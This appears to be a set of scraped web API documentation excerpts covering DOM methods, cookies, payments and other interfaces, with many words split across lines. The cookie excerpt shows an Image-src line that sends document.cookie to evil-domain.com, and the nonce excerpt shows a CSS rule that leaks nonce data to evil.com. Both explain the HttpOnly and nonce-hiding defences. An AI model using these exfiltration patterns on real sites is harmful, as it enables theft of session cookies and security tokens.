... exceptions this method can raise a fileexception with the following codes: exception descr
iption encoding_err the path supplied is invalid.
... void removerecursively ( ) raises (fileexception); parameter none returns void exceptions this method can raise a fileexception with the following codes: exception descr
iption not_found_err the target directory does not exist.
Document: DOMContentLoaded event - Web APIs
synchronous javascr
ipt pauses parsing of the dom.
... if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascr
ipt asynchronous and optimize loading of stylesheets.
... examples basic usage document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); delaying domcontentloaded <scr
ipt> document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); for( let i = 0; i < 1000000000; i++) {} // this synchronous scr
ipt is going to delay parsing of the dom, // so the domcontentloaded event is going to launch later.
... </scr
ipt> checking whether loading is already complete domcontentloaded may fire before your scr
ipt has a chance to run, so it is wise to check before adding a listener.
Document.cookie - Web APIs
note: the domain must match the domain of the javascr
ipt origin.
... note: as you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the javascr
ipt interpreter.
... examples example #1: simple usage document.cookie = "name=oeschger"; document.cookie = "favorite_food=tr
ipe"; function alertcookie() { alert(document.cookie); } <button onclick="alertcookie()">show cookies</button> example #2: get a sample cookie named test2 document.cookie = "test1=hello"; document.cookie = "test2=world"; const cookievalue = document.cookie .split('; ') .find(row => row.startswith('test2')) .split('=')[1]; function alertcookievalue() { alert(cookievalue); } <button onclick="alertcookievalue()">show cookie value</button> example #3: do something only once in order to use the following code, please replace all occurrences of the word dosomethingonlyonce (the name of the cookie) with a custom name.
...common ways to steal cookies include using social engineering or by exploiting an xss vulnerability in the application - (new image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; the httponly cookie attribute can help to mitigate this attack by preventing access to cookie value through javascr
ipt.
Document.getElementsByClassName() - Web APIs
names is a string representing the class name(s) to match; mult
iple class names are separated by whitespace getelementsbyclassname can be called on any element, not only on the document.
... <html> <body> <div id="parent-id"> <p>hello world 1</p> <p class="test">hello world 2</p> <p>hello world 3</p> <p>hello world 4</p> </div> <scr
ipt> var parentdom = document.getelementbyid("parent-id"); var test = parentdom.getelementsbyclassname("test"); // a list of matching elements, *not* the element itself console.log(test); //htmlcollection[1] var testtarget = parentdom.getelementsbyclassname("test")[0]; // the first element, as we wanted console.log(testtarget); //<p class="test">hello world ...
...2</p> </scr
ipt> </body> </html> mult
iple classes example document.getelementsbyclassname works very similarly to document.queryselector and document.queryselectorall.
... html <span class="orange fruit">orange fruit</span> <span class="orange juice">orange juice</span> <span class="apple juice">apple juice</span> <span class="foo bar">something random</span> <textarea id="resultarea" style="width:98%;height:7em"></textarea> javascr
ipt // getelementsbyclassname only selects elements that have both given classes var allorangejuicebyclass = document.getelementsbyclassname('orange juice'); var result = "document.getelementsbyclassname('orange juice')"; for (var i=0, len=allorangejuicebyclass.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicebyclass[i].textcontent; } // queryselector only selects full complete matches var allorangejuicequery = document.queryselectorall('.orange.
Document.querySelectorAll() - Web APIs
mult
iple selectors may be specified by separating them using commas.
...since javascr
ipt also uses backslash escaping, special care must be taken when writing string literals using these characters.
...you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascr
ipt dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascr
ipt var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
Document Object Model (DOM) - Web APIs
the document object model (dom) connects web pages to scr
ipts or programming languages by representing the structure of a document—such as the html representing a web page—in memory.
... usually, that means javascr
ipt, although modeling html, svg, or xml documents as objects are not part of the core javascr
ipt language, as such.
... svg interfaces svg element interfaces svgaelement svgaltglyphelement svgaltglyphdefelement svgaltglyphitemelement svganimationelement svganimateelement svganimatecolorelement svganimatemotionelement svganimatetransformelement svgcircleelement svgcl
ippathelement svgcolorprofileelement svgcomponenttransferfunctionelement svgcursorelement svgdefselement svgdescelement svgelement svgell
ipseelement svgfeblendelement svgfecolormatrixelement svgfecomponenttransferelement svgfecompositeelement svgfeconvolvematrixelement svgfediffuselightingelement svgfedisplacementmapelement svgfedistantlightelement svgfedropshadowelement svgfefloo...
...thelement svghkernelement svgimageelement svglineargradientelement svglineelement svgmarkerelement svgmaskelement svgmeshelement svgmeshgradientelement svgmeshpatchelement svgmeshrowelement svgmetadataelement svgmissingglyphelement svgmpathelement svgpathelement svgpatternelement svgpolylineelement svgpolygonelement svgradialgradientelement svgrectelement svgscr
iptelement svgsetelement svgsolidcolorelement svgstopelement svgstyleelement svgsvgelement svgswitchelement svgsymbolelement svgtextcontentelement svgtextelement svgtextpathelement svgtextpositioningelement svgtitleelement svgtrefelement svgtspanelement svguseelement svgunknownelement svgviewelement svgvkernelement svg data type interfaces here are the dom apis for data...
Element.innerHTML - Web APIs
name = "<scr
ipt>alert('i am john in an annoying alert!')</scr
ipt>"; el.innerhtml = name; // harmless in this case although this may look like a cross-site scr
ipting attack, the result is harmless.
... html5 specifies that a <scr
ipt> tag inserted with innerhtml should not execute.
... however, there are ways to execute javascr
ipt without using <scr
ipt> elements, so there is still a security risk whenever you use innerhtml to set strings over which you have no control.
... javascr
ipt function log(msg) { var logelem = document.queryselector(".log"); var time = new date(); var timestr = time.tolocaletimestring(); logelem.innerhtml += timestr + ": " + msg + "<br/>"; } log("logging mouse events inside this container..."); the log() function creates the log output by getting the current time from a date object using tolocaletimestring(), and building a string with th...
Element: paste event - Web APIs
bubbles yes cancelable yes interface cl
ipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the cl
ipboard into the document at the cursor position.
... a handler for this event can access the cl
ipboard contents by calling getdata() on the event's cl
ipboarddata property.
... to override the default behavior (for example to insert some different data or a transformation of the cl
ipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
... copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.cl
ipboarddata || window.cl
ipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); result specifications specification status cl
ipboard...
Element.querySelectorAll() - Web APIs
mult
iple selectors may be specified by separating them using commas.
...since javascr
ipt also uses backspace escaping, special care must be taken when writing string literals using these characters.
... user notes queryselectorall() behaves differently than most common javascr
ipt dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascr
ipt var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
ExtendableEvent - Web APIs
if waituntil() is called outside of the extendableevent handler, the browser should throw an invalidstateerror; note also that mult
iple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises.
... examples this code sn
ippet is from the service worker prefetch sample (see prefetch example live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall, delaying treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully.
... the code sn
ippet also shows a best practice for versioning caches used by the service worker.
... though there's only one cache in this example, the same approach can be used for mult
iple caches.
FileList - Web APIs
starting with gecko 1.9.2, if the input element's mult
iple attribute is true, the filelist may contain mult
iple files.
...for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method overview file item(index); properties attribute type descr
iption length integer a read-only value indicating the number of files in the list.
... example this example iterates over all the files selected by the user using an input element: // fileinput is an html input element: <input type="file" id="myfileinput" mult
iple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; var file; // loop through files for (var i = 0; i < files.length; i++) { // get item file = files.item(i); //or file = files[i]; alert(file.name); } here is a complete example.
... <!doctype html> <html> <head> </head> <body> <!--mult
iple is set to allow mult
iple files to be selected--> <input id="myfiles" mult
iple type="file"> </body> <scr
ipt> var pullfiles=function(){ // love the query selector var fileinput = document.queryselector("#myfiles"); var files = fileinput.files; // cache files.length var fl = files.length; var i = 0; while ( i < fl) { // localize file var in the loop var file = files[i]; alert(file.name); i++; } } // set the input element onchange to call pullfiles document.queryselector("#myfiles").onchange=pullfiles; //a.t </scr
ipt> </html> specifications specification status comment file apithe definition of 'filelist' in that specification.
Using the Gamepad API - Web APIs
technologies like <canvas>, webgl, <audio>, and <video>, along with javascr
ipt implementations, have matured to the point where they can now support many tasks previously requiring native code.
...gamepadconnected), a second event is dispatched to the focused window, gamepaddisconnected: window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); the gamepad's index property will be unique per-device connected to the system, even if mult
iple controllers of the same type are used.
...we can use this in order to determine which gamepad (i.e., its id) had caused the event, since mult
iple gamepads might be connected at once.
...this can be used to distinguish mult
iple controllers.
GlobalEventHandlers.onanimationend - Web APIs
.slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascr
ipt code to do that.
... javascr
ipt content before we get to the animation code, we define a function which logs information to a box on the user's screen.
...animation stopped", event); }; finally, we set up a handler for a click on the button that runs the animation: document.getelementbyid("play").addeventlistener("click", function(event) { document.getelementbyid("box").classname = "slideanimation"; event.target.style.display = "none"; }, false); this sets the class of the box we want to animate to the class that contains the animation descr
iption, then hides the play button because this example will only run the animation once.
... for information about why, and how to support running an animation more than once, see run an animation again in css animations t
ips and tricks.
GlobalEventHandlers.onanimationstart - Web APIs
.slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascr
ipt code to do that.
... javascr
ipt content before we get to the animation code, we define a function which logs information to a box on the user's screen.
...animation stopped", event); }; finally, we set up a handler for a click on the button that runs the animation: document.getelementbyid("play").addeventlistener("click", function(event) { document.getelementbyid("box").classname = "slideanimation"; event.target.style.display = "none"; }, false); this sets the class of the box we want to animate to the class that contains the animation descr
iption, then hides the play button because this example will only run the animation once.
... for information about why, and how to support running an animation more than once, see run an animation again in css animations t
ips and tricks.
HTMLAreaElement - Web APIs
the htmlareaelement interface provides special properties and methods (beyond those of the regular object htmlelement interface it also has available to it by inheritance) for man
ipulating the layout and presentation of <area> elements.
... htmlareaelement.rel is a domstring that reflects the rel html attribute, indicating relationsh
ips of the current document to the linked resource.
... htmlareaelement.rellist read only returns a domtokenlist that reflects the rel html attribute, indicating relationsh
ips of the current document to the linked resource, as a list of tokens.
... htmlhyperlinkelementutils.tostring() returns a usvstring containing the whole url of the scr
ipt executed in the worker.
HTMLFormElement - Web APIs
issues with naming elements some names will interfere with javascr
ipt access to the form’s properties and elements.
... if you are not using javascr
ipt, this will not cause a problem.
...s attributes: <form name="forma" action="/cgi-bin/test" method="post"> <p>press "info" for form details, or "set" to change those details.</p> <p> <button type="button" onclick="getforminfo();">info</button> <button type="button" onclick="setforminfo(this.form);">set</button> <button type="reset">reset</button> </p> <textarea id="form-info" rows="15" cols="20"></textarea> </form> <scr
ipt> function getforminfo(){ // get a reference to the form via its name var f = document.forms["forma"]; // the form properties we're interested in var properties = [ 'elements', 'length', 'name', 'charset', 'action', 'acceptcharset', 'action', 'enctype', 'method', 'target' ]; // iterate over the properties, turning them into a string that we can display to the user var in...
... f.action = "a-different-url.cgi"; f.name = "a-different-name"; } </scr
ipt> submit a <form> into a new window: <!doctype html> <html> <head> <meta charset="utf-8"> <title>example new-window form submission</title> </head> <body> <form action="test.php" target="_blank"> <p><label>first name: <input type="text" name="firstname"></label></p> <p><label>last name: <input type="text" name="lastname"></label></p> <p><label><input type="password" name="pwd"></label><...
HTMLInputElement.stepDown() - Web APIs
the htmlinputelement.stepdown([n]) method decrements the value of a numeric type of <input> element by the value of the step attribute or up to n mult
iples of the step attribute if a number is passed as the parameter.
...ts by intervals of 900 seconds (15 minute) --> <input type="time" max="17:00" step="900"> <!-- decrements by intervals of 7 days (one week) --> <input type="date" max="2019-12-25" step="7"> <!-- decrements by intervals of 12 months (one year) --> <input type="month" max="2019-12" step="12"> the method, when invoked, changes the form control's value by the value given in the step attribute, mult
iplied by the parameter, within the constraints set within the form control.
...tml <p> <label>enter a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="button" value="decrement" id="thebutton"> javascr
ipt /* make the button call the function */ let button = document.getelementbyid('thebutton'); button.addeventlistener('click', function() { stepondown();} ); function stepondown() { let input = document.getelementbyid('thenumber'); let val = document.getelementbyid('decrementer').value; if (val) { /* increment with a parameter */ input.stepdown(val); } else { /* or without a pa...
...any other value is a mult
iplier of the step attribute value, which in this case is 5.
HTMLInputElement - Web APIs
the htmlinputelement interface provides special properties and methods for man
ipulating the options, layout, and presentation of <input> elements.
... mult
iple boolean: returns / sets the element's mult
iple attribute, indicating whether more than one value is possible (e.g., mult
iple files).
...if this is not set to any, the control accepts only values at mult
iples of the step value greater than the minimum.
... the following properties have been added: autocomplete, autofocus, dirname, files, formaction, formenctype, formmethod, formnovalidate, formtarget, height, indeterminate, labels, list, max, min, mult
iple, pattern, placeholder, required, selectiondirection, selectionend, selectionstart, step, validationmessage, validity, valueasdate, valueasnumber, width, and willvalidate.
HTMLOrForeignElement.nonce - Web APIs
in later implementations, elements only expose their nonce attribute to scr
ipts (and not to side-channels like css attribute selectors).
... examples retrieving a nonce value in the past, not all browsers supported the nonce idl attribute, so a workaround is to try to use getattribute as a fallback: let nonce = scr
ipt['nonce'] || scr
ipt.getattribute('nonce'); however, recent browsers version hide nonce values that are accessed this way (an empty string will be returned).
... the idl property (scr
ipt['nonce']) will be the only way to access nonces.
... nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: scr
ipt[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLTableCellElement - Web APIs
the htmltablecellelement interface provides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for man
ipulating the layout and presentation of table cells, either header or data cells, in an html document.
... htmltablecellelement.colspan an unsigned long integer indicating the number of columns this cell must span; this lets the cell occupy space across mult
iple columns of the table.
... htmltablecellelement.rowspan an unsigned long integer indicating the number of rows this cell must span; this lets a cell occupy space across mult
iple rows of the table.
... htmltablecellelement.choff a domstring containing a integer indicating how many characters must be left at the right (for left-to-right scr
ipts; or at the left for right-to-left scr
ipts) of the character defined by htmltablecellelement.ch.
HTMLVideoElement.msHorizontalMirror - Web APIs
mshorizontalmirror is a read/write property which gets or sets whether a video element is fl
ipped horizontally in the display.
... syntax htmlvideoelement.mshorizontalmirror: boolean; value boolean value set to true fl
ips the video playback horizontally.
... video perspective is fl
ipped on a horizontal axis - this may be useful for playback of a webcam video, providing the user with better mirroring of their real behaviors (ie.
... example var myvideo = document.getelementbyid("videotag1"); myvideo.mshorizontalmirror = true; myvideo.play(); example #2: var fl
ip = document.queryselector('#fl
ip'); fl
ip.addeventlistener('click', function() { video.mshorizontalmirror = true; }); see also htmlvideoelement microsoft api extensions ...
Working with the History API - Web APIs
example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascr
ipt: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
... state object the state object is a javascr
ipt object which is associated with the new history entry created by pushstate().
... example of replacestate() method suppose http://mozilla.org/foo.html executes the following javascr
ipt: let stateobj = { foo: "bar" } history.pushstate(stateobj, "page 2", "bar.html") the explanation of these two lines above can be found at the above section example of pushstate() method section.
... next, suppose http://mozilla.org/bar.html executes the following javascr
ipt: history.replacestate(stateobj, "page 3", "bar2.html") this will cause the url bar to display http://mozilla.org/bar2.html, but won't cause the browser to load bar2.html or even check that bar2.html exists.
IDBFactorySync - Web APIs
method overview idbdatabasesync open (in domstring name, in domstring descr
iption, in optional boolean modifydatabase) raises (idbdatabaseexception); methods open() opens and returns a connection to a database.
...if there is already a database with the specified name, it uses that one; otherwise, it creates the database using the specified name and descr
iption.
... idbdatabasesync open ( in domstring name, in domstring descr
iption ) raises (idbdatabaseexception); parameters name the name for the database.
... descr
iption the descr
iption for the database.
IDBObjectStore.createIndex() - Web APIs
bear in mind that indexeddb indexes can contain any javascr
ipt data type; indexeddb uses the structured clone algorithm to serialize stored objects, which allows for storage of simple and complex objects.
... objectparameters optional an idbindexparameters object, which can include the following properties: attribute descr
iption unique if true, the index will not allow duplicate values for a single key.
... auto: the platform default locale will be used (may be changed by user agent settings.) null or undefined: if no locale is specified, normal javascr
ipt sorting will be used — not locale-aware.
... exceptions this method may raise a domexception of one of the following types: exception descr
iption constrainterror occurs if an index with the same name already exists in the database.
KeyboardEvent: code values - Web APIs
x002d "keyx" "keyx" 0x002e "keyc" "keyc" 0x002f "keyv" "keyv" 0x0030 "keyb" "keyb" 0x0031 "keyn" "keyn" 0x0032 "keym" "keym" 0x0033 "comma" "comma" 0x0034 "period" "period" 0x0035 "slash" "slash" 0x0036 "shiftright" "shiftright" 0x0037 "numpadmult
iply" "numpadmult
iply" 0x0038 "altleft" "altleft" 0x0039 "space" "space" 0x003a "capslock" "capslock" 0x003b "f1" "f1" 0x003c "f2" "f2" 0x003d "f3" "f3" 0x003e "f4" "f4" 0x003f "f5" "f5" 0x0040 "f6" "f6" 0x0041 "f7" "f7" 0x0042 "f8" "...
...hiftright" "shiftright" kvk_rightoption (0x3d) "altright" "altright" kvk_rightcontrol (0x3e) "controlright" "controlright" kvk_function (0x3f) "fn" (no events fired actually) "" (no events fired actually) kvk_f17 (0x40) "f17" "f17" kvk_ansi_keypaddecimal (0x41) "numpaddecimal" "numpaddecimal" kvk_ansi_keypadmult
iply (0x43) "numpadmult
iply" "numpadmult
iply" kvk_ansi_keypadplus (0x45) "numpadadd" "numpadadd" kvk_ansi_keypadclear (0x47) "numlock" "numlock" kvk_volumeup (0x48) "audiovolumeup" (was "volumeup" until firefox 48) "audiovolumeup" (was "volumeup" until chrome 50) kvk_volumedown (0x49) "audiovolumedown" (was "volumedown" until firefox 49)...
...x0035 "keyx" "keyx" 0x0036 "keyc" "keyc" 0x0037 "keyv" "keyv" 0x0038 "keyb" "keyb" 0x0039 "keyn" "keyn" 0x003a "keym" "keym" 0x003b "comma" "comma" 0x003c "period" "period" 0x003d "slash" "slash" 0x003e "shiftright" "shiftright" 0x003f "numpadmult
iply" "numpadmult
iply" 0x0040 "altleft" "altleft" 0x0041 "space" "space" 0x0042 "capslock" "capslock" 0x0043 "f1" "f1" 0x0044 "f2" "f2" 0x0045 "f3" "f3" 0x0046 "f4" "f4" 0x0047 "f5" "f5" 0x0048 "f6" "f6" 0x0049 "f7" "f7" 0x004a "f8" "...
..."backquote" 0x002a "shiftleft" 0x002b "backslash" 0x002c "keyz" 0x002d "keyx" 0x002e "keyc" 0x002f "keyv" 0x0030 "keyb" 0x0031 "keyn" 0x0032 "keym" 0x0033 "comma" 0x0034 "period" 0x0035 "slash" 0x0036 "shiftright" 0x0037 "numpadmult
iply" 0x0038 "altleft" 0x0039 "space" 0x003a "capslock" 0x003b "f1" 0x003c "f2" 0x003d "f3" 0x003e "f4" 0x003f "f5" 0x0040 "f6" 0x0041 "f7" 0x0042 "f8" 0x0043 "f9" 0x0044 "f10" 0x0045 "numlock" 0x0046 "scrolllock" ...
LocalFileSystem - Web APIs
example the following is a code sn
ippet that shows how you can request a file system storage.
...4,oninitfs,errorhandler); method overview void requestfilesystem (in unsigned short type, in unsigned long long size, in filesystemcallback successcallback, in optional errorcallback errorcallback); void resolvelocalfilesystemurl (in domstring url, in entrycallback successcallback, in optional errorcallback errorcallback); constants constant value descr
iption temporary 0 transient storage that can be be removed by the browser at its discretion.
... returns void exceptions this method can raise an fileerror with the following code: exception descr
iption security_error the application does not have permission to access the file system interface.
... returns void exceptions this method can raise an fileerror with the following code: exception descr
iption encoding_err the syntax of the url was invalid.
MSSiteModeEvent - Web APIs
dom information inheritance hierarchy event mssitemodeevent methods method descr
iption initevent initializes a new generic event that the createevent method created.
... properties property descr
iption actionurl gets the url of a jump list item that is removed.
... *this property is not supported for windows store apps using javascr
ipt.
...*this property is not supported for windows store apps using javascr
ipt.
Capabilities, constraints, and settings - Web APIs
historically, writing scr
ipts for the web that work intimately with web apis has had a well-known challenge: often, your code needs to know whether or not an api exists and if so, what its limitations are on the user agent it's running on.
... once the scr
ipt knows whether the property or properties it wishes to use are supported, it can then check the capabilities of the api and its implementation by examining the object returned by the track's getcapabilities() method; this object lists each supported constraint and the values or range of values which are supported.
... you can also change the constraints of an existing mediastreamtrack on the fly, by calling the track's applyconstraints() method, passing into it an object representing the constraints you wish to apply to the track: videotrack.applyconstraints({ width: 1920, height: 1080 }); in this sn
ippet, the video track referenced by videotrack is updated so that its resolution as closely as possible matches 1920x1080 pixels (1080p high definition).
...arkgreen; } .wrapper { margin-bottom: 10px; width: 600px; } .trackrow { height: 200px; } .leftside { float: left; width: calc(calc(100%/2) - 10px); } .rightside { float: right; width: calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedconstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 10px; } javascr
ipt content now let's take a look at the javascr
ipt code that makes everything work.
NetworkInformation - Web APIs
the networkinformation interface provides information about the connection a device is using to communicate with the network and provides a means for scr
ipts to be notified if the connection type changes.
... networkinformation.downlink read only returns the effective bandwidth estimate in megabits per second, rounded to the nearest mult
iple of 25 kilobits per seconds.
...this value is determined using a combination of recently observed round-tr
ip time and downlink values.
... networkinformation.rtt read only returns the estimated effective round-tr
ip time of the current connection, rounded to the nearest mult
iple of 25 milliseconds.
Node.nextSibling - Web APIs
element.nextelementsibling may be used to obtain the next element sk
ipping any whitespace nodes, other between-element text, or comments.
... example <div id="div-1">here is div-1</div> <div id="div-2">here is div-2</div> <scr
ipt> var el = document.getelementbyid('div-1').nextsibling, i = 1; console.group('siblings of div-1:'); while (el) { console.log(i, '.
... ', el.nodename); el = el.nextsibling; i++; } console.groupend(); </scr
ipt> /************************************************** the console displays the following: siblings of div-1 1.
...scr
ipt **************************************************/ in the above example, #text nodes are inserted in the dom where whitespace occurs between tags (i.e.
Node - Web APIs
if there is no such node, like if this node is the top of the tree or if doesn't partic
ipate in a tree, this property returns null.
... node.nodeprinc
ipal obsolete since gecko 46 a ns
iprinc
ipal representing the node princ
ipal.
...when mult
iple prefixes are possible, the result is implementation-dependent.
... = [] eachnode(rootnode, function(node) { nodes.push(node) }) return nodes } if (false === callback(rootnode)) { return false } if (rootnode.haschildnodes()) { const nodes = rootnode.childnodes for (let i = 0, l = nodes.length; i < l; ++i) { if (false === eachnode(nodes[i], callback)) { return } } } } syntax eachnode(rootnode, callback) descr
iption recursively calls a function for each descendant node of rootnode (including the root itself).
Using the Notifications API - Web APIs
to avoid duplicating code, we have stored a few bits of housekeeping code inside the handlepermission() function, which is the first main block inside this sn
ippet.
... for example, in the to-do-list example we use the following sn
ippet to create a notification when required (found inside the createnotification() function): var img = '/to-do-notifications/img/icon-128.png'; var text = 'hey!
...to avoid spamming the user with too many notifications, it's possible to modify the pending notifications queue, replacing single or mult
iple pending notifications with a new one.
... tag example assume the following basic html: <button>notify me!</button> it's possible to handle mult
iple notifications this way: window.addeventlistener('load', function () { // at first, let's check if we have permission for notification // if not, let's ask for it if (window.notification && notification.permission !== "granted") { notification.requestpermission(function (status) { if (notification.permission !== status) { notification.permission = status; } });...
ParentNode.querySelectorAll() - Web APIs
mult
iple selectors may be specified by separating them using commas.
...since javascr
ipt also uses backslash escaping, special care must be taken when writing string literals using these characters.
...ueryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves differently than most common javascr
ipt dom libraries, which might lead to unexpected results.
... <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascr
ipt var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0!
PaymentDetailsUpdate - Web APIs
these represent the line items on a rece
ipt or invoice.
...for address field specific errors, use sh
ippingaddresserrors.
... sh
ippingaddresserrors optional an addresserrors object which includes an error message for each property of the sh
ipping address that could not be validated.
... sh
ippingoptions optional an array of paymentsh
ippingoption objects, each describing one available sh
ipping option from which the user may choose.
PaymentRequest: paymentmethodchange event - Web APIs
the code assumes the existence of a method detailsforsh
ipping(), which returns a paymentdetailsupdate object containing the sh
ipping options for the ground sh
ipping method, in the form found in the paymentsh
ippingoption dictionary.
... by doing so, the payment form defaults to the ground sh
ipping method.
... const options = { requestsh
ipping: true }; const paymentrequest = new paymentrequest(paymentmethods, detailsforsh
ipping("ground"), options); paymentrequest.addeventlistener("paymentmethodchange", handlepaymentchange, false); paymentrequest.show() .then(response => response.complete("success")) .catch(err => console.log("error handling payment request: " + err)); the event handler function itself, handlepaymentchange(), looks like this: handlepaymentchange = event => { const detailsupdate = {}; if (event.methodname === "https://apple.com/apple-pay") { const servicefeeinfo = calculateservicefee(event.methoddetails); object.assign(detailsupdate, servicefeeinfo); } event.updatewith(detailsupdate); }, false); this begins by looking at the event's methodname pro...
... related events merchantvalidation, sh
ippingaddresschange, sh
ippingoptionchange, and payerdetailchange specifications specification status comment payment request apithe definition of 'paymentmethodchange' in that specification.
PaymentRequest.show() - Web APIs
note: in reality, despite the fact that the specification says this can't be done, some browsers, including firefox, support mult
iple active payment requests at a time.
...those look like this: async/await syntax using await to wait for a promise to be resolved makes it possible to write the code to handle payments particularly cleanly: async function processpayment() { try { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onsh
ippingaddresschange = ev => ev.updatewith(checkaddress(payrequest)); payrequest.onsh
ippingoptionchange = ev => ev.updatewith(checksh
ipping(payrequest)); const repsonse = await payrequest.show(); await validateresponse(response); } catch(err) { /* handle the error; aborterror usually means a user cancellation */ } } in this code, the methods checkaddress() and checksh
ipping(), ...
...respectively, check the sh
ipping address and the sh
ipping option changes and supply in response either a paymentdetailsupdate object or a promise to return one; this object contains the fields in the paymentresponse which have been or need to be changed.
... then/catch syntax you can also use the older promise-based approach to work with payments, using the then() and catch() functions on the promise returned by show(): function processspayment() { const payrequest = new paymentrequest(methoddata, details, options); payrequest.onsh
ippingaddresschange = ev => ev.updatewith(checkaddress(payrequest)); payrequest.onsh
ippingoptionchange = ev => ev.updatewith(checksh
ipping(payrequest)); payrequest.show() .then(response => validateresponse(response)) .catch(err => handleerror(err)); } this is functionally equivalent to the processpayment() method using the await syntax.
PaymentRequestUpdateEvent.updateWith() - Web APIs
these represent the line items on a rece
ipt or invoice.
...for address field specific errors, use sh
ippingaddresserrors.
... sh
ippingaddresserrors optional an addresserrors object which includes an error message for each property of the sh
ipping address that could not be validated.
... sh
ippingoptions optional an array of paymentsh
ippingoption objects, each describing one available sh
ipping option from which the user may choose.
PaymentResponse.retry() - Web APIs
this lets your app gracefully deal with situations such as invalid sh
ipping addresses or declined credit cards.
... syntax retrypromise = paymentrequest.retry(errorfields); parameters errorfields a paymentvalidationerrors object, with the following properties: error optional a general descr
iption of a payment error from which the user may attempt to recover by retrying the payment, possibly after correcting mistakes in the payment information.
... sh
ippingaddress optional an addresserrors object which contains error messages for any of the fields in the sh
ipping address that failed validation.
...async function recursivevalidate(request, response) { const promisestofixthings = []; const errors = await validate(request, response); if (!errors) { return; } if (errors.sh
ippingaddress) { // "sh
ippingaddresschange" fired at request object const promise = fixfield(request, "sh
ippingaddresschange", sh
ippingvalidator); promisestofixthings.push(promise); } if (errors.payer) { // "payerdetailchange" fired at response object const promise = fixfield(response, "payerdetailchange", payervalidator); promisestofixthings.push(promise); } await pr...
PaymentResponse - Web APIs
paymentresponse.sh
ippingaddress read only secure context returns the sh
ipping address supplied by the user.
... this option is only present when the requestsh
ipping option is set to true in the options parameter of the paymentrequest() constructor.
... paymentresponse.sh
ippingoption read only secure context returns the id attribute of the sh
ipping option selected by the user.
... this option is only present when the requestsh
ipping option is set to true in the options parameter of the paymentrequest() constructor.
PromiseRejectionEvent - Web APIs
the promiserejectionevent interface represents events which are sent to the global scr
ipt context when javascr
ipt promises are rejected.
... promiserejectionevent.promise read only the javascr
ipt promise that was rejected.
... events rejectionhandled fired when a javascr
ipt promise is rejected, and after the rejection is handled by the promise's rejection handling code.
... unhandledrejection fired when a javascr
ipt promise is rejected but there is no rejection handler to deal with the rejection.
RTCIceCandidate.port - Web APIs
the rtcicecandidate interface's read-only port property contains the port number on the device at the address given by
ip at which the candidate's peer can be reached.
... syntax var port = rtcicecandidate.port; value a 16-bit number indicating the port number on the device at the address indicated by
ip at which the candidate's peer can be reached.
... example this code sn
ippet fetches the
ip address and port number of the candidate, storing them into an object for future use.
... var candidateloc = { address: candidate.
ip, port: candidate.port } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.port' in that specification.
RTCIceCandidate - Web APIs
